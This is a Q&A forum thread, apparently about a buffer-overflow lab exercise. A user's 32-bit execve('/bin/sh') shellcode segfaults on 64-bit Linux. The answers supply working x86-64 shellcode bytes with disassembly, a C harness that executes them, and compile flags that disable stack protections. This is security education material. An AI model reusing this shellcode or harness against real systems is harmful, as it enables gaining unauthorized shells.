shellcode buffer overflow -SegFault - c

Question

I'm trying to run this shellcode but I keep getting segmentation fault
/* call_shellcode.c */
/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /* Line 2: pushl %eax */
"\x68""//sh" /* Line 3: pushl $0x68732f2f */
"\x68""/bin" /* Line 4: pushl $0x6e69622f */
"\x89\xe3" /* Line 5: movl %esp,%ebx */
"\x50" /* Line 6: pushl %eax */
"\x53" /* Line 7: pushl %ebx */
"\x89\xe1" /* Line 8: movl %esp,%ecx */
"\x99" /* Line 9: cdq */
"\xb0\x0b" /* Line 10: movb $0x0b,%al */
"\xcd\x80" /* Line 11: int $0x80 */
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
I compile it using:
gcc -z execstack -o call_shellcode call_shellcode.c
and
gcc -fno-stack-protector -z execstack -o call_shellcode call_shellcode.c
But I keep getting segmentation fault
Also, I'm running a 64 bit Linux system (ubuntu)

Answer 1

You are using a 32 bit assembly code on a x86-64 system. So, It is your problem, you have to create your shellcode for x86-64 systems.
E.g.
400078: 48 31 c0 xor rax,rax
40007b: 48 bf 2f 2f 62 69 6e movabs rdi,0x68732f6e69622f2f
400082: 2f 73 68
400085: 48 31 f6 xor rsi,rsi
400088: 56 push rsi
400089: 57 push rdi
40008a: 48 89 e7 mov rdi,rsp
40008d: 48 31 d2 xor rdx,rdx
400090: b0 3b mov al,0x3b
400092: 0f 05 syscall
One of the main differences with 32 bits assembly, is how to use the syscalls. In this link Linux Syscalls x86-64 you can see what registers you need to call the sys_execve
int execve(const char *filename, char *const argv[],
char *const envp[]);
const char *filename -> rdi
char *const argv[] -> rsi
char *const envp[] -> rdx
E.g.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] = "\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05";
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
Compilation and test it.
$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
$ ./shellcode
$ uname -a
Linux foobar 4.4.0-97-generic #120-Ubuntu SMP Tue Sep 19 17:28:18 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

Answer 2

code doesn't have a trailing null byte, so you can't use strcpy() to copy it. Use memcpy().
memcpy(buf, code, sizeof(code));
As mentioned in a comment, the shellcode you have is for 32-bit Linux, but you're trying to run it on a 64-bit system. That probably explains the error after fixing this.

Answer 3

You forget the -m32 flag for compiling a 32-bit binary on a 64-bit system. It looks like this is what you need:
gcc -m32 -z execstack -o call_shellcode call_shellcode.c
In order to be able to compile 32-bit binaries on a 64-bit system you need the 32-bit libraries available. On Ubuntu based systems you can install them via:
sudo apt-get install gcc-multilib
See: https://www.homeworkforyou.com/static_media/uploadedfiles/bufoverflow.pdf